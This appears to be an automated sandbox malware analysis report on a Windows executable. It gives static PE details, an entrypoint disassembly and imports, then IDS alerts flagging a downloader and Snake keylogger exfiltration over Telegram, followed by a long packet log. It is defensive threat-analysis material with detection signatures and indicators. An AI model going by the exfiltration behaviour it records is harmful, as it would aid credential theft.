SHA512:	6e2347d3dc4ff87241198db45d5f57d5aa940458de1fb2c0769feb75c595425490ac0d1f680d11b29e12583f10d2de6965dbbeca9b5ebd03471bd107b3d154fe
SSDEEP:	12288:I5AU4kSPRNlGwSl/8LDaBlrgu7Jj1JK8s5FEeKK:ZV2y6HEu7Jj1Jicez
TLSH:	6B9423026660D393F67217361C336F695ABBB224A6706F4B13581E5F3C23BD08E1B96D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007FB9FC7E71F3h
push ebp
call 00007FB9FC7EA336h
cmp eax, ebp
je 00007FB9FC7E71E9h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007FB9FC7EA2B3h
push 0040A2ECh
call 00007FB9FC7EA2A9h
push 0040A2E0h
call 00007FB9FC7EA29Fh
push 00000009h
call 00007FB9FC7EA304h
push 00000007h
call 00007FB9FC7EA2FDh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007FB9FC7E9EEAh
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007FB9FC7E9ED8h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:10:03.127284+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49710	172.217.23.110	443	TCP
2025-01-10T20:10:16.856578+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49712	132.226.8.169	80	TCP
2025-01-10T20:10:24.778471+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49712	132.226.8.169	80	TCP
2025-01-10T20:10:25.435623+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49775	149.154.167.220	443	TCP
2025-01-10T20:10:25.952826+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49775	149.154.167.220	443	TCP
2025-01-10T20:10:27.028453+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49784	132.226.8.169	80	TCP
2025-01-10T20:10:27.603149+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49789	149.154.167.220	443	TCP
2025-01-10T20:10:27.872981+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49789	149.154.167.220	443	TCP
2025-01-10T20:10:29.349109+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49801	149.154.167.220	443	TCP
2025-01-10T20:10:29.585453+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49801	149.154.167.220	443	TCP
2025-01-10T20:10:31.086496+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49815	149.154.167.220	443	TCP
2025-01-10T20:10:31.367472+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49815	149.154.167.220	443	TCP
2025-01-10T20:10:32.825927+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49830	149.154.167.220	443	TCP
2025-01-10T20:10:33.195949+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49830	149.154.167.220	443	TCP
2025-01-10T20:10:34.821711+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49842	149.154.167.220	443	TCP
2025-01-10T20:10:35.280818+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49842	149.154.167.220	443	TCP
2025-01-10T20:10:37.780527+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49863	149.154.167.220	443	TCP
2025-01-10T20:10:38.087273+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49863	149.154.167.220	443	TCP
2025-01-10T20:10:39.593758+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49873	149.154.167.220	443	TCP
2025-01-10T20:10:39.918825+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49873	149.154.167.220	443	TCP
2025-01-10T20:10:42.401129+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T20:10:42.687233+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T20:10:44.222787+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T20:10:44.442650+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T20:10:51.846532+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49956	149.154.167.220	443	TCP
2025-01-10T20:10:52.335658+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49956	149.154.167.220	443	TCP
2025-01-10T20:10:54.932118+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49978	149.154.167.220	443	TCP
2025-01-10T20:10:55.403341+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49978	149.154.167.220	443	TCP
2025-01-10T20:10:58.032597+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50000	149.154.167.220	443	TCP
2025-01-10T20:10:58.416665+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50000	149.154.167.220	443	TCP
2025-01-10T20:11:00.155427+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T20:11:00.510043+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50006	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:10:02.068053961 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.068077087 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.068243980 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.081840992 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.081857920 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.746968031 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.747072935 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.748214006 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.748266935 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.814985991 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.815010071 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.815407991 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:02.815566063 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.819659948 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:02.863341093 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.127283096 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.128015041 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:03.128040075 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.128089905 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:03.128581047 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.128624916 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.128654957 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:03.128673077 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:03.362884998 CET	49710	443	192.168.2.8	172.217.23.110
Jan 10, 2025 20:10:03.362906933 CET	443	49710	172.217.23.110	192.168.2.8
Jan 10, 2025 20:10:03.479206085 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:03.479253054 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:03.479367018 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:03.479631901 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:03.479640007 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:04.350295067 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:04.350429058 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:04.360094070 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:04.360110998 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:04.360611916 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:04.360738993 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:04.364423990 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:04.407341003 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.381390095 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.381618977 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.383585930 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.383810997 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.389138937 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.389334917 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.389343977 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.389403105 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.391097069 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.391334057 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.485079050 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.485282898 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.485373020 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.485399961 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.485399961 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.485414982 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.485428095 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.485512972 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.485519886 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.485835075 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.490200996 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.490324974 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.490334034 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.490426064 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.494482994 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.494560957 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.494568110 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.494626045 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.496092081 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.496171951 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.496220112 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.496372938 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.498053074 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.498158932 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.498166084 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.498259068 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.504312038 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.504492044 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.504499912 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.504606009 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.510902882 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.510984898 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.511002064 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.511054993 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.517267942 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.517369986 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.517421961 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.517577887 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.524003983 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.524092913 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.524123907 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.524189949 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.530339003 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.530410051 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.530417919 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.530467987 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.537069082 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.537164927 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.537206888 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.537261009 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.543894053 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.544352055 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.575489998 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.575637102 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.575644970 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.575690985 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.575699091 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.575737953 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.575745106 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.575805902 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.575824976 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.576028109 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.577023983 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.577107906 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.577115059 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.577164888 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.583683968 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.583827019 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.583837986 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.583925009 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.583931923 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.584011078 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.590029001 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.590114117 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.590203047 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.590326071 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.596306086 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.596415997 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.596431971 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.596533060 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.602874994 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.603038073 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.603045940 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.603143930 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.609577894 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.609700918 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.609709024 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.609802008 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.615922928 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.616008997 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.616027117 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.616074085 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.623084068 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.623173952 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.623254061 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.623337984 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.628303051 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.628359079 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.628371000 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.628423929 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.634377003 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.634438038 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.634447098 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.634531021 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.639687061 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.639784098 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.639791965 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.639924049 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.646691084 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.646766901 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.646779060 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.646810055 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.651304007 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.651381016 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.651388884 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.651437998 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661539078 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.661601067 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.661623955 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661631107 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.661642075 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661690950 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661746979 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661807060 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.661886930 CET	443	49711	142.250.181.225	192.168.2.8
Jan 10, 2025 20:10:07.661911964 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:07.661930084 CET	49711	443	192.168.2.8	142.250.181.225
Jan 10, 2025 20:10:08.436422110 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:08.441303015 CET	80	49712	132.226.8.169	192.168.2.8
